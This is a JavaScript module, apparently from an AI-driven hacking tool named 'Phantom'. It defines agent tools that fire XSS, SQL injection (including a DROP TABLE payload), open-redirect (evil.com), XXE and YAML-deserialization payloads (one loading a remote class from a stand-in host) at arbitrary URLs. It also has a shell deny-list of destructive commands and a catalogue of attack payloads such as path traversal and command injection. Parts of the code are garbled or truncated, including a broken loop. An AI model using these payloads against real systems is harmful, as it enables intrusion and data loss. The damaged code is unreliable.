import { execFileSync } from "child_process";
import fs from "fs";
import { resolve, dirname } from "path";
import { homedir } from "os";
import { pathToFileURL, fileURLToPath } from "url";
import { createRequire } from "module";
const $r = createRequire(import.meta.url);
import { BASE_DIR, MEMORY_DIR, REPORTS_DIR, PLAYBOOKS_DIR, KNOWLEDGE_DIR, BOOKS_DIR } from "./config.mjs";
import { __r, runExternal, formatExternal, execAsync } from "./runtime.mjs";
export const hackerTools = {
shell: async (cmd) => {
// Execute a shell command and return output
// Includes audit trail + dangerous command guard
const SHELL_LOG = resolve(homedir(), ".config", "phantom", "shell_history.log");
const dangerous = [/^rm\s+-rf\s+\/|rm\s+-rf\s+--no-preserve-root/, /^dd\s+if=/, /:\(\)\{/, /chmod\s+777\s+\/$/, /sudo\s+rm\s+-rf/, /bash\s+-c\s/, /sh\s+-c\s/];
// Guard: unclosed backticks or $() cause shell syntax errors
const backtickCount = (cmd.match(/`/g) || []).length;
if (backtickCount % 2 !== 0) {
return "[Shell Error] Unclosed backtick in command. Escape with backslash-backtick or use $() with balanced parentheses.";
}
// Escape backticks and $() to prevent shell injection / syntax errors
cmd = cmd.replace(/`/g, '\\`').replace(/\$\(/g, '\\$\\(');
const isDangerous = dangerous.some(d => d.test(cmd));
const ts = new Date().toISOString();
// Audit trail
try {
const dir = resolve(homedir(), ".config", "phantom");
if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
fs.appendFileSync(SHELL_LOG, `[${ts}] ${cmd}\n`, "utf-8");
} catch { /* best-effort audit */ }
// Dangerous command guard
if (isDangerous) {
return `[Shell] ⚠ Command blocked (dangerous pattern detected): ${cmd}\nLog: ${SHELL_LOG}\nUse --force to override (not recommended).`;
}
try {
const r = await execAsync(cmd, { timeout: 30000, maxBuffer: 1024 * 1024 });
return r.trim().substring(0, 4000) || "(empty output)";
} catch (e) {
return `[Shell Error] ${e.stderr?.substring(0, 500) || e.message}`;
}
},
web_fetch: async (url) => {
// Fetch a URL and return the content
try {
const r = await fetch(url);
const text = await r.text();
const ct = r.headers.get("content-type") || "";
const isHtml = ct.includes("text/html");
// Strip HTML tags for readability
const cleaned = isHtml
? text.replace(/", "\">", "'\">
", "{{constructor.constructor('alert(1)')()}}", "'';!--\"=&{()}"];
const results = (await Promise.allSettled(payloads.map(async p => {
try { const tu = (url.includes("?") ? url + "&" : url + "?") + "q=" + encodeURIComponent(p); const r = await fetch(tu, {signal:AbortSignal.timeout(5000)}); const t = await r.text(); if (t.includes(p.substring(0,15))) return ` ⚠ ${p.substring(0,25)} reflected`; } catch {}
return null;
}))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []);
return results.length ? `🚨 XSS — ${results.length} reflection(s) on ${url}\n${results.join("\n")}` : `[XSS] No reflection at ${url}`;
} catch (e) { return `[XSS Error] ${e.message}`; }
},
sql_detect: async (input) => {
try {
const url = input.startsWith("http") ? input : `https://${input}`;
const payloads = ["' OR '1'='1", "' OR 1=1--", "' UNION SELECT 1--", "' AND 1=1--", "' AND SLEEP(3)--", "'; DROP TABLE users--", "' OR '1'='1' /*"];
const results = (await Promise.allSettled(payloads.map(async p => {
try { const tu = url.includes("?") ? url.replace(/([=?&])[^=&]+$/, "$1" + encodeURIComponent(p)) : url + "?id=" + encodeURIComponent(p); const r = await fetch(tu, {signal:AbortSignal.timeout(8000)}); const t = (await r.text().catch(() => "")).toLowerCase(); if (["sql","mysql","sqlite","syntax","unclosed","quotation","jdbc"].some(s => t.includes(s))) return ` ⚠ ${p.substring(0,20)} → SQL error`; } catch {}
return null;
}))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []);
return results.length ? `⚠️ SQLi — ${results.length} injection(s) on ${url}\n${results.join("\n")}` : `[SQLi] No errors at ${url}`;
} catch (e) { return `[SQLi Error] ${e.message}`; }
},
open_redirect: async (input) => {
try {
const url = input.startsWith("http") ? input : `https://${input}`;
const params = ["url","redirect","redirect_uri","return","return_to","r","next","target","redir","dest","out","to","go","callback","ref"];
const results = (await Promise.allSettled(params.map(async p => {
try { const tu = (url.includes("?") ? url + "&" : url + "?") + p + "=https://evil.com"; const r = await fetch(tu, {redirect:"manual",signal:AbortSignal.timeout(5000)}); if ((r.headers.get("location")||"").includes("evil.com")) return ` ⚠ ${p}= → external redirect`; } catch {}
return null;
}))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []);
return results.length ? `🔀 Redirect — ${results.length} open redirect(s)\n${results.join("\n")}` : `[OpenRedirect] None at ${url}`;
} catch (e) { return `[OpenRedirect Error] ${e.message}`; }
},
shodan_search: async (input) => {
const key = process.env.SHODAN_API_KEY;
if (!key) return `[Shodan] Set SHODAN_API_KEY env var`;
try {
const r = await fetch(`https://api.shodan.io/shodan/host/search?key=${key}&query=${encodeURIComponent(input.trim())}&limit=10`, {signal:AbortSignal.timeout(15000)});
const d = await r.json();
if (!d.matches?.length) return `[Shodan] No results for "${input}"`;
return `🌐 Shodan — ${d.total} result(s)\n${d.matches.slice(0,10).map(m => ` ${m.ip_str}:${m.port} ${m.transport||""} ${(m.product||m.data||"").substring(0,50)}`).join("\n")}`;
} catch (e) { return `[Shodan Error] ${e.message}`; }
},
email_breach: async (input) => {
try {
const email = input.trim().toLowerCase();
if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) return `[EmailBreach] Invalid email`;
const key = process.env.HIBP_API_KEY;
if (!key) return `[EmailBreach] Set HIBP_API_KEY env var`;
const r = await fetch(`https://haveibeenpwned.com/api/v3/breachedaccount/${encodeURIComponent(email)}?truncateResponse=true`, {headers:{"hibp-api-key":key,"User-Agent":"Phantom"}, signal:AbortSignal.timeout(10000)});
if (r.status === 404) return `🔒 ${email} — No known breaches ✅`;
if (r.status === 200) { const b = await r.json(); return `⚠️ ${email} — ${b.length} breach(es)\n${b.slice(0,10).map(x => ` 🔴 ${x.Name} (${x.BreachDate||"?"})`).join("\n")}`; }
return `[EmailBreach] HTTP ${r.status}`;
} catch (e) { return `[EmailBreach Error] ${e.message}`; }
},
github_dork: async (input) => {
try {
const r = await fetch(`https://api.github.com/search/code?q=${encodeURIComponent(input.trim())}&per_page=10`, {headers:{"Accept":"application/vnd.github.v3+json","User-Agent":"Phantom-Cyber"}, signal:AbortSignal.timeout(15000)});
if (r.status === 403) return `[GitHubDork] Rate limited. Try again.`;
const d = await r.json();
if (!d.items?.length) return `[GitHubDork] No results for "${input}"`;
return `🔍 GitHub Dork — ${d.total_count} result(s)\n${d.items.slice(0,10).map(i => ` 📄 ${i.repository?.full_name||"?"}/${i.name}`).join("\n")}`;
} catch (e) { return `[GitHubDork Error] ${e.message}`; }
},
sub_takeover: async (input) => {
try {
const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim();
const r = await fetch(`https://dns.google/resolve?name=${domain}&type=CNAME`, {signal:AbortSignal.timeout(8000)});
const d = await r.json();
const cnames = d?.Answer?.filter(a => a.type === 5).map(a => a.data) || [];
if (!cnames.length) return `[SubTakeover] No CNAME for ${domain}`;
const svcs = {"cloudfront.net":"AWS CloudFront","s3.amazonaws.com":"AWS S3","github.io":"GitHub Pages","herokuapp.com":"Heroku","azurewebsites.net":"Azure","trafficmanager.net":"Azure TM","pantheonsite.io":"Pantheon","squarespace.com":"Squarespace","zendesk.com":"Zendesk","freshdesk.com":"Freshdesk","helpscout.net":"Help Scout","readme.io":"ReadMe","unbounce.com":"Unbounce","statuspage.io":"Statuspage"};
const lines = cnames.map(c => { const s = Object.entries(svcs).find(([k]) => c.includes(k)); return s ? ` ⚠ → ${c.trim()} — ${s[1]} takeover!` : ` ℹ → ${c.trim()}`; });
return `🔍 Subdomain Takeover — ${domain}\n${lines.join("\n")}`;
} catch (e) { return `[SubTakeover Error] ${e.message}`; }
},
// ── JS BUNDLE ANALYZER ──
js_analyze: async (input) => {
try {
const url = input.trim();
if (!url) return "[js_analyze] Usage: js_analyze|https://target.com/app.js";
const r = await fetch(url, { signal: AbortSignal.timeout(15000) });
if (!r.ok) return `[js_analyze] HTTP ${r.status}`;
const code = await r.text();
if (code.length > 500000) return "[js_analyze] File too large (>500KB), use narrower scope";
const findings = [];
const keyPatterns = [
[/AIza[0-9A-Za-z_-]{35}/g, "Google API key"],
[/sk-[0-9a-zA-Z]{32,}/g, "OpenAI API key"],
[/ghp_[0-9a-zA-Z]{36}/g, "GitHub token"],
[/sk_live_[0-9a-zA-Z]{24,}/g, "Stripe live key"],
[/AKIA[0-9A-Z]{16}/g, "AWS access key"],
[/-----BEGIN (RSA |EC )?PRIVATE KEY-----/g, "Private key"],
[/xox[baprs]-[0-9a-zA-Z-]{24,}/g, "Slack token"],
[/mongodb(\+srv)?:\/\/[^\s\"'`<>]+/g, "MongoDB URL"],
];
for (const [re, label] of keyPatterns) {
const matches = code.match(re);
if (matches) findings.push(` \u26a0 ${label}: ${matches.slice(0,3).map(m => m.length>40?m.substring(0,37)+"...":m).join(", ")}`);
}
const apiEndpoints = [...new Set([...code.matchAll(/["'\`](\/[a-zA-Z0-9_\/.-]+\/api\/[a-zA-Z0-9_\/.-]+)["'\`]/g)].map(m=>m[1]))];
if (apiEndpoints.length>0) findings.push(` \u{1F4E1} Endpoints: ${apiEndpoints.slice(0,10).join(", ")}`);
const xssSinks = [...new Set([...code.matchAll(/(innerHTML|outerHTML|document\.write|eval\(|dangerouslySetInnerHTML)/g)].map(m=>m[1]))];
if (xssSinks.length>0) findings.push(` \u{1F489} XSS sinks: ${xssSinks.slice(0,5).join(", ")}`);
const comments = code.match(/\/\/\s*(TODO|FIXME|HACK|XXX|BUG|SECURITY|API_KEY|PASSWORD|TOKEN)\s*[:=]?/gi);
if (comments) findings.push(` \u{1F4DD} Comments (${[...new Set(comments)].length})`);
if (!findings.length) return `[js_analyze] No secrets/endpoints in ${url.split("/").pop()} (${(code.length/1024).toFixed(1)}KB)`;
return `\u{1F52C} JS Analysis: ${url.split("/").pop()} (${(code.length/1024).toFixed(1)}KB)\n${findings.join("\n")}`;
} catch (e) { return `[js_analyze Error] ${e.message}`; }
},
// ── FILE UPLOAD TESTER — XXE, polyglot ──
upload_test: async (input) => {
try {
const parts = input.split("|").map(s=>s.trim());
const url = parts[0]||"";
const mode = (parts[1]||"xxe").toLowerCase();
if (!url) return "[upload_test] Usage: upload_test|https://target/upload|xxe\nModes: xxe, yaml, polyglot, all";
const payloads = {
xxe: `]>&xxe;`,
yaml: `---\n!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://COLLAB"]]]]\n`,
polyglot: `GIF89a/**/`,
};
const results = [];
const modes = mode==="all"?Object.keys(payloads):[mode];
for (const m of modes) {
if (!payloads[m]) continue;
try {
const r = await fetch(url, {method:"POST",signal:AbortSignal.timeout(10000),
body:payloads[m],headers:{"Content-Type":"application/octet-stream"}});
const t = await r.text();
if (t.includes("root:")||t.includes("www-data")) results.push(` \u26a0 ${m}: XXE confirmed — file read`);
else if (r.status>=500&&t.includes("php")) results.push(` \u26a0 ${m}: Possible code exec`);
else results.push(` \u2713 ${m}: ${r.status} — filtered`);
} catch(e){results.push(` \u2715 ${m}: ${e.message}`);}
}
return `\u{1F4E4} Upload Test: ${url}\n${results.join("\n")}`;
} catch(e){return `[upload_test Error] ${e.message}`;}
},
// ── RATE LIMIT / TIMING / RACE TESTER ──
rate_limit_test: async (input) => {
try {
const parts = input.split("|").map(s=>s.trim());
const url = parts[0]||"";
const mode = (parts[1]||"burst").toLowerCase();
const count = parseInt(parts[2])||20;
if(!url) return "[rate_limit_test] Usage: rate_limit_test|https://target/login|burst|30";
const results = [];
if(mode==="burst"||mode==="all"){
let blocked=false; const start=Date.now();
for(let i=0;i100) results.push(` \u26a0 Timing leak: ${diff}ms diff — possible enum`);
else results.push(` \u2713 Timing consistent (\u00b1${diff}ms)`);
}
if(mode==="race"||mode==="all"){
const p=[];
for(let i=0;ir.status===200||r.status===201||r.status===302).length;
if(ok>1) results.push(` \u26a0 Race window: ${ok}/${res.length} concurrent successes`);
else results.push(` \u2713 No race window`);
}
return `\u23F1 Rate Limit Test: ${url} (${mode})\n${results.join("\n")}`;
} catch(e){return `[rate_limit_test Error] ${e.message}`;}
},
plugin_load: async (input) => {
try {
const {existsSync,mkdirSync,readdirSync,resolve} = await import("fs/promises").catch(() => $r("fs"));
const pf = await import("path");
const pluginDir = (input||"").trim() || $r("os").homedir() + "/.config/phantom/plugins";
if (!existsSync(pluginDir)) mkdirSync(pluginDir, {recursive: true});
const files = readdirSync(pluginDir).filter(f => f.endsWith(".mjs") || f.endsWith(".js"));
if (!files.length) return `[Plugin] No plugins in ${pluginDir}`;
let loaded = 0;
for (const f of files) {
try { const mod = await import(pf.resolve(pluginDir, f)); if (mod.name && mod.execute) { globalThis.hackerTools ||= {}; globalThis.hackerTools[mod.name] = mod.execute; loaded++; } } catch {}
}
return loaded ? `🔌 Loaded ${loaded} plugin(s)` : `[Plugin] No valid plugins`;
} catch (e) { return `[Plugin Error] ${e.message}`; }
},
plugin_create: async (input) => {
try {
const [name,...rest] = input.split("|"); const n = (name||"").trim().toLowerCase().replace(/[^a-z0-9_]/g,"_"); const desc = (rest[0]||"Custom plugin").trim();
if (!n) return `[Plugin] Format: tool_name|description`;
const d = $r("os").homedir() + "/.config/phantom/plugins"; $r("fs").mkdirSync(d, {recursive:true});
const fp = d + "/" + n + ".mjs";
$r("fs").writeFileSync(fp, `// Phantom Plugin: ${n}\n// ${desc}\nexport const name = "${n}";\nexport const description = "${desc}";\nexport async function execute(input) {\n try { return \`[${n}] Processed: \${input}\`; } catch (e) { return \`[\${name} Error] \${e.message}\`; }\n}\n`);
return `🔌 Plugin created: @${n}\n ${fp}`;
} catch (e) { return `[Plugin Error] ${e.message}`; }
},
report_export: async (input) => {
try {
const {existsSync,readdirSync,readFileSync,writeFileSync,mkdirSync} = $r("fs"); const {resolve} = $r("path"); const {homedir} = $r("os");
const rd = resolve(homedir(), ".config", "phantom", "reports");
const args = input.trim().split(/\s+/);
const name = args[0] || "";
const fmt = (args[1] || "html").toLowerCase();
// If no args, list
if (!name && existsSync(rd)) {
const all = readdirSync(rd).filter(f => !f.includes("batch_")).filter(f => f.endsWith(".md"));
if (!all.length) return `[ReportExport] No reports in ${rd}`;
return `[ReportExport] Usage: @report_export|name [format]\\nFormats: html (default), json, txt\\nAvailable: ${all.join(", ")}`;
}
const fp = resolve(rd, name.includes(".") ? name : name + ".md");
if (!existsSync(fp)) return `[ReportExport] Not found: ${name}`;
const content = readFileSync(fp, "utf-8");
if (fmt === "json") {
const lines = content.split("\n").filter(Boolean);
const json = JSON.stringify({ name, exported: new Date().toISOString(), lines, raw: content }, null, 2);
const outPath = fp.replace(/\.\w+$/, ".json");
writeFileSync(outPath, json, "utf-8");
return `📄 JSON: ${outPath} (${json.length} bytes)`;
}
if (fmt === "txt") {
const plain = content.replace(/^#+ /gm, "").replace(/\*\*(.+?)\*\*/g, "$1").replace(/`{3}[\s\S]*?`{3}/g, m => m.replace(/`{3}/g,"").trim());
const outPath = fp.replace(/\.\w+$/, ".txt");
writeFileSync(outPath, plain, "utf-8");
return `📄 TXT: ${outPath} (${plain.length} bytes)`;
}
// Default: enhanced HTML export
const title = name.replace(/\.md$/, "").replace(/_/g, " ").replace(/\b\w/g, c => c.toUpperCase());
const body = content
.replace(/&/g,"&").replace(//g,">")
.replace(/^#### (.+)$/gm,"$1
")
.replace(/^### (.+)$/gm,"$1
")
.replace(/^## (.+)$/gm,"$1
")
.replace(/^# (.+)$/gm,"$1
")
.replace(/\*\*(.+?)\*\*/g,"$1")
.replace(/`{3}([\s\S]*?)`{3}/g,"$1
")
.replace(/`(.+?)`/g,"$1")
.replace(/\n/g,"
");
const html = `Phantom — ${title}
${body}
`;
const outPath = fp.replace(/\.\w+$/, ".html");
writeFileSync(outPath, html, "utf-8");
return `📄 Export: ${outPath}\n Formats: @report_export|${name}|json — @report_export|${name}|txt`;
} catch (e) { return `[ReportExport Error] ${e.message}`; }
},
distro: async (input) => {
try {
const cmd = (input||"").trim().toLowerCase();
const isProotEnv = __r.ENV.isProot;
const distroId = ($r("fs").readFileSync("/etc/os-release","utf-8").match(/^ID=(.+)$/m) || [,"unknown"])[1];
const prettyName = ($r("fs").readFileSync("/etc/os-release","utf-8").match(/^PRETTY_NAME="(.+)"$/m) || [,"Unknown"])[1];
if (!cmd || cmd === "info") {
return `📦 Current Distro\n ID: ${distroId}\n Name: ${prettyName}\n Kernel: ${$r("os").release()}\n Arch: ${process.arch}\n ${isProotEnv ? "🔒 PRoot: yes (nested proot-distro not available)" : "🔓 PRoot: no (proot-distro available)"}\n Host: Termux (Termux)\n\nCommands:\n @distro|info — show this\n @distro|list — list proot-distro environments (outside PRoot only)\n @distro|run — run command in another distro (outside PRoot)`;
}
if (cmd === "list") {
if (isProotEnv) return `[Distro] Can't list: already inside PRoot. Run from Termux host.`;
const { execSync } = $r("child_process");
const out = execSync("proot-distro list 2>&1", { encoding: "utf-8", timeout: 10000 });
return `📦 Available Distros\n${out.trim()}`;
}
if (cmd.startsWith("run ")) {
if (isProotEnv) return `[Distro] Can't run nested PRoot. Run from Termux host.`;
const rest = cmd.slice(4).trim();
const sp = rest.indexOf(" ");
const dName = sp > 0 ? rest.slice(0, sp) : rest;
const dCmd = sp > 0 ? rest.slice(sp + 1) : "whoami";
const { execSync } = $r("child_process");
const out = execSync(`proot-distro login ${dName} -- ${dCmd} 2>&1`, { encoding: "utf-8", timeout: 30000 });
return `📦 [${dName}] $ ${dCmd}\n${out.trim()}`;
}
return `[Distro] Unknown: "${cmd}". Try: info, list, run `;
} catch (e) { return `[Distro Error] ${e.message}`; }
},
llm_config: async (input) => {
try {
const provs = ["openai","anthropic","gemini","groq","deepseek","mistral","openrouter","ollama","opencode"];
const envs = {openai:"OPENAI_API_KEY",anthropic:"ANTHROPIC_API_KEY",gemini:"GEMINI_API_KEY",groq:"GROQ_API_KEY",deepseek:"DEEPSEEK_API_KEY",mistral:"MISTRAL_API_KEY",openrouter:"OPENROUTER_API_KEY",ollama:"",opencode:"HERMES_OPCODE_API_KEY"};
const cmd = (input||"").trim().toLowerCase();
if (!cmd || cmd === "list" || cmd === "ls") {
const cur = __r.PHANTOM_LLM_PROVIDER || "openai";
const status = provs.map(p => {
const e = envs[p]; const hasKey = !e || !!process.env[e];
return ` ${p === cur ? "→" : " "} ${p.padEnd(12)} ${e ? (hasKey ? "✅ key set" : "❌ no key") : "🟢 local"}${e ? ` (${e})` : ""}`;
}).join("\n");
return `🤖 LLM Configuration\nProvider: ${cur}\n\nAvailable:\n${status}\n\nUsage:\n @llm_config — show this\n @llm_config| — switch provider\n @llm_config|set KEY value — set API key (persisted)\n @llm_config|model name — set model override`;
}
if (cmd === "set") {
const rest = cmd.slice(4).trim(); const sp = rest.indexOf(" ");
const e = (sp > 0 ? rest.slice(0, sp) : rest).toUpperCase();
const v = sp > 0 ? rest.slice(sp + 1) : "";
if (!v) return `[LLM] Usage: @llm_config|set ENV_NAME value`;
process.env[e] = v; __r._config[e] = v;
try { fs.writeFileSync(userConfigPath, JSON.stringify(__r._config, null, 2)); } catch {}
return `✅ ${e} set and saved`;
}
if (cmd.startsWith("model ")) {
const m = cmd.slice(6).trim(); if (!m) return `[LLM] Usage: @llm_config|model name`;
__r._config.default_model = m;
try { fs.writeFileSync(userConfigPath, JSON.stringify(__r._config, null, 2)); } catch {}
return `✅ Default model: ${m}`;
}
if (provs.includes(cmd)) {
if (__r.llmInstance) { try { __r.llmInstance.provider = cmd; } catch {} }
__r.setProvider(cmd);
return `✅ Switched to ${cmd}. ${cmd === "ollama" ? "Run Ollama locally." : `Set ${cmd.toUpperCase()}_API_KEY if needed.`}`;
}
return `[LLM] Unknown: "${cmd}". Options: ${provs.join(", ")}, set KEY val, model name`;
} catch (e) { return `[LLM Error] ${e.message}`; }
},
youtube_summarize: async (url) => {
try {
try { const { execSync } = await import("child_process"); execSync("command -v yt-dlp", { stdio: "pipe", timeout: 3000 }); } catch { return "[youtube] yt-dlp not found. Install: pip install yt-dlp"; }
const { execSync } = await import("child_process");
const title = execSync(`yt-dlp --print title "${url}" 2>/dev/null`, { encoding: "utf-8", timeout: 10000 }).trim();
let transcript = "";
try { transcript = execSync(`yt-dlp --write-auto-sub --sub-lang en --skip-download -o "%(id)s" "${url}" 2>/dev/null; cat *.vtt 2>/dev/null || true`, { encoding: "utf-8", timeout: 30000 }); } catch { try { transcript = execSync(`yt-dlp --write-subs --sub-lang en --skip-download -o "%(id)s" "${url}" 2>/dev/null; cat *.vtt 2>/dev/null || true`, { encoding: "utf-8", timeout: 30000 }); } catch {} }
if (!transcript) try { transcript = execSync(`yt-dlp --print description "${url}" 2>/dev/null`, { encoding: "utf-8", timeout: 10000 }); } catch {}
if (!transcript) return `[youtube] No transcript for: "${title}"`;
transcript = transcript.replace(/\d{2}:\d{2}:\d{2}[.,]\d{3}\s*>\s*/g, "").replace(/WEBVTT[\s\S]*?X-TIMESTAMP-MAP.*?\n/g, "").trim();
if (transcript.length > 6000) transcript = transcript.slice(0, 6000) + "\n...[truncated]";
let summary = "";
if (__r.llmInstance?.chat) {
const resp = await __r.llmInstance.chat([
{ role: "system", content: "You are a cybersecurity training summarizer. Given a transcript, create: 1) 3-sentence summary 2) Key takeaways 3) A ready-to-use playbook with 3-5 steps. Format playbook as: ```playbook\nname: ...\ndescription: ...\nsteps:\n - tool: ...\n target: ...```" },
{ role: "user", content: `Video: "${title}"\nTranscript:\n${transcript}` }
]);
summary = resp.trim();
} else { summary = `Title: ${title}\nTranscript: ${transcript.length} chars\n(LLM unavailable) Data saved, add LLM for AI summary.`; }
const name = `yt_${title.replace(/[^a-z0-9]/gi, "_").slice(0, 30).toLowerCase()}`;
const pbPath = resolve(PLAYBOOKS_DIR, `${name}.json`);
if (!fs.existsSync(PLAYBOOKS_DIR)) fs.mkdirSync(PLAYBOOKS_DIR, { recursive: true });
fs.writeFileSync(pbPath, JSON.stringify({ name: title.slice(0,50), source: "youtube", url, created: new Date().toISOString(), summary }, null, 2), "utf-8");
return `🎬 YouTube: "${title}"\nTranscript: ${transcript.length} chars\nPlaybook: ${pbPath}\n\n${summary.slice(0,2000)}`;
} catch (e) { return `[youtube Error] ${e.message}`; }
},
hackbook: async (query) => {
const q = query?.trim().toLowerCase() || "list";
const HACKBOOK_PATH = resolve(BASE_DIR, "hackbook.json");
// Load custom entries from file (merges with built-in)
let customDb = [];
try {
if (fs.existsSync(HACKBOOK_PATH)) customDb = JSON.parse(fs.readFileSync(HACKBOOK_PATH, "utf-8"));
} catch {}
const builtinDb = [
{ id:"sql-injection", t:"SQL Injection (SQLi)", s:"Critical", d:"Attackers inject malicious SQL queries through input fields to manipulate databases, extract data, bypass auth, or execute commands.", i:"Data breach, auth bypass, RCE, complete DB compromise", test:["Submit single quote and double quote to trigger errors","Use time-based: ' OR SLEEP(5)--","UNION SELECT: ' UNION SELECT 1,2,3--","Test all vectors: GET, POST, headers, cookies","sqlmap -u 'http://target.com/page?id=1' --batch"], m:"Parameterized queries, input validation, least privilege DB accounts, WAF", tools:"sqlmap, jSQL, Burp Suite, NoSQLMap" },
{ id:"xss", t:"Cross-Site Scripting (XSS)", s:"High", d:"Attackers inject malicious scripts into web pages viewed by other users. Types: Reflected, Stored, DOM-based.", i:"Session hijacking, credential theft, defacement, phishing", test:["Inject ","Event handlers:
","Test URL params for reflected XSS","DOM-based via location.hash","Polyglot payloads for WAF bypass"], m:"Output encoding, Content-Security-Policy, HttpOnly cookies, X-XSS-Protection", tools:"XSStrike, Burp Suite, OWASP ZAP, BeEF, Dalfox" },
{ id:"csrf", t:"Cross-Site Request Forgery (CSRF)", s:"High", d:"Forces authenticated users to execute unwanted actions on a web app where they're authenticated.", i:"Unauthorized transactions, password changes, account takeover", test:["Check if state-changing requests lack CSRF tokens","Verify tokens tied to sessions","Test SameSite cookies","CORS misconfigurations","CSRF without origin/referer headers"], m:"Anti-CSRF tokens, SameSite=Strict/Lax cookies, Origin/Referer validation", tools:"Burp Suite, OWASP ZAP, CSRFTester" },
{ id:"ssrf", t:"Server-Side Request Forgery (SSRF)", s:"High", d:"Attackers make the server send requests to internal systems, bypassing firewalls.", i:"Internal network scanning, cloud metadata access, service exploitation", test:["Submit URLs to internal IPs: 127.0.0.1, 169.254.169.254","Cloud metadata: http://169.254.169.254/latest/meta-data/","URL scheme bypass: file://, dict://, gopher://","Redirect-based SSRF","DNS rebinding"], m:"Allowlist destinations, disable unnecessary URL schemes, network segmentation", tools:"SSRFmap, Gopherus, Interactsh" },
{ id:"rce", t:"Remote Code Execution (RCE)", s:"Critical", d:"Attackers execute arbitrary commands on the server via injection flaws.", i:"Full server compromise, data exfiltration, lateral movement, backdoor", test:["Command injection: ; whoami, | id, $(whoami)","File upload for web shells","Deserialization gadgets (Java, PHP, Python, .NET)","Template injection: {{7*7}}, ${7*7}","eval() sinks"], m:"Avoid dangerous functions (eval, exec, system), input validation, sandboxing, WAF", tools:"Metasploit, Commix, ysoserial, JexBoss" },
{ id:"lfi", t:"Local File Inclusion (LFI)", s:"High", d:"Attackers read arbitrary files by manipulating path parameters. Can lead to RCE.", i:"Source code disclosure, credential leakage, RCE via log poisoning", test:["Path traversal: ../../../etc/passwd","PHP wrappers: php://filter/convert.base64-encode/","Null byte injection","Log poisoning: inject PHP in UA, include access.log"], m:"Avoid dynamic includes, allowlist paths, disable allow_url_fopen", tools:"LFISuite, Kadimus, PHP filter chain" },
{ id:"idor", t:"Insecure Direct Object Reference (IDOR)", s:"Medium", d:"Attackers access unauthorized resources by modifying direct references.", i:"Unauthorized data access, account takeover, privilege escalation", test:["Increment IDs: /user/123 -> /user/124","Predictable UUIDs","Change params: ?invoice=123 -> ?invoice=456","Multi-tenant boundary violations"], m:"Access control checks, use unpredictable IDs (UUIDs)", tools:"Burp Sequencer, Autorize, AuthMatrix" },
{ id:"xxe", t:"XML External Entity (XXE)", s:"High", d:"Attackers exploit XML parsers to read files, perform SSRF, or cause DoS.", i:"File disclosure, SSRF, DoS (Billion Laughs), RCE", test:["]>","Blind XXE out-of-band","XXE in SVG upload, XML-RPC","XXE in docx/xlsx"], m:"Disable external entity processing, use JSON, disable DTDs", tools:"XXE-injection, OWASP ZAP, Burp Collaborator" },
{ id:"open-redirect", t:"Open Redirect", s:"Medium", d:"Application redirects users to attacker-controlled URLs via unvalidated params.", i:"Phishing, malware distribution, credential theft, SEO spam", test:["/redirect?url=http://evil.com","Protocol-relative: //evil.com","Domain confusion: https://evil.com@target.com","Redirect chains for SSRF"], m:"Allowlist valid destinations, validate URLs, require confirmation", tools:"Oralyzer, Burp Scanner, OWASP ZAP" },
{ id:"nosqli", t:"NoSQL Injection", s:"High", d:"Injection flaws in NoSQL databases where attackers inject JSON/JS operators.", i:"Auth bypass, data extraction, unauthorized access", test:["JSON operators: {$gt: ''}, {$ne: ''}, {$regex: '.*'}","username[$ne]=admin&password[$ne]=admin","POST with $where, $gte","NoSQL in login: ' || 1==1 //"], m:"Input validation, mongo-sanitize, parameterized queries", tools:"NoSQLMap, nosqli, Burp Suite" },
{ id:"file-upload", t:"Malicious File Upload", s:"High", d:"Attackers upload malicious files processed or served by the app.", i:"RCE via web shell, malware distribution, server compromise", test:["Double extension: shell.php.jpg","MIME type manipulation","Upload .htaccess: AddType x-httpd-php .txt","SVG with XXE"], m:"Validate extension and content, store outside webroot, rename files, limit size", tools:"Burp Upload Scanner, Fuxploider" },
{ id:"jwt", t:"JWT Attacks", s:"Medium", d:"Attacks on JSON Web Tokens: algorithm confusion, weak secrets, header injection.", i:"Auth bypass, privilege escalation, account takeover", test:["Algorithm to 'none': alg: none, empty sig","RS256 public key as HS256 secret","Bruteforce weak secret","kid header injection","Expired/revoked token testing"], m:"Enforce algorithm allowlist, strong secrets, validate claims, key rotation", tools:"jwt_tool, jwt-cracker, hashcat" },
{ id:"cors", t:"CORS Misconfiguration", s:"Medium", d:"Improper CORS headers allow cross-origin requests from unauthorized domains.", i:"Data exfiltration, API abuse, credential theft", test:["Origin: https://evil.com check ACAO reflection","ACA with wildcard origin","Null origin","Preflight bypass"], m:"Allowlist origins, never wildcards with credentials, Vary: Origin", tools:"CORS Scanner, Burp, corsy" },
{ id:"race-condition", t:"Race Condition", s:"Medium", d:"TOCTOU bugs where concurrent requests exploit gaps between check and use.", i:"Coupon abuse, ticket scalping, balance manipulation", test:["50 concurrent requests","Race password change","File upload race","Last-byte sync","Single-packet attack"], m:"Database transactions/locks, atomic operations, idempotency keys, rate limiting", tools:"Turbo Intruder (Burp), race-the-web" },
{ id:"bug-bounty-basics", t:"Bug Bounty Basics — Getting Started", s:"Info", d:"Bug bounties are when companies pay hackers to find vulnerabilities in their applications. Platforms like HackerOne, Bugcrowd, Synack, and Intigriti act as middlemen. You sign up, find bugs, report them, and if legit, you get paid ($50–$50,000). Before touching platforms, learn fundamentals through hands-on practice.", i:"Career in security, ethical hacking skills, potential income ($50–$50k per bug), real-world security impact", test:["Read 'Real-World Bug Hunting' by Peter Yaworski — study real bug bounty writeups","Practice on TryHackMe, HackTheBox, and PortSwigger Web Security Academy","Study OWASP Top 10: XSS, SSRF, SQLi, IDOR, CSRF, XXE, RCE, LFI, NoSQLi, race conditions","Learn Jason Haddix's recon methodology — passive recon → subdomain enum → directory bruteforce → parameter analysis","Intercept & analyze traffic with Burp Suite — don't just run scanners","Understand each tool's output — tools show the haystack, you find the needle"], m:"Read real bug reports before submitting. Understand scope rules on each platform. Never test out-of-scope targets. Write clear, reproducible reports. Be patient — days of nothing are normal.", tools:"Burp Suite, nuclei, subfinder, httpx, dir_brute, ffuf, OWASP ZAP, HackTheBox, TryHackMe, PortSwigger Academy", 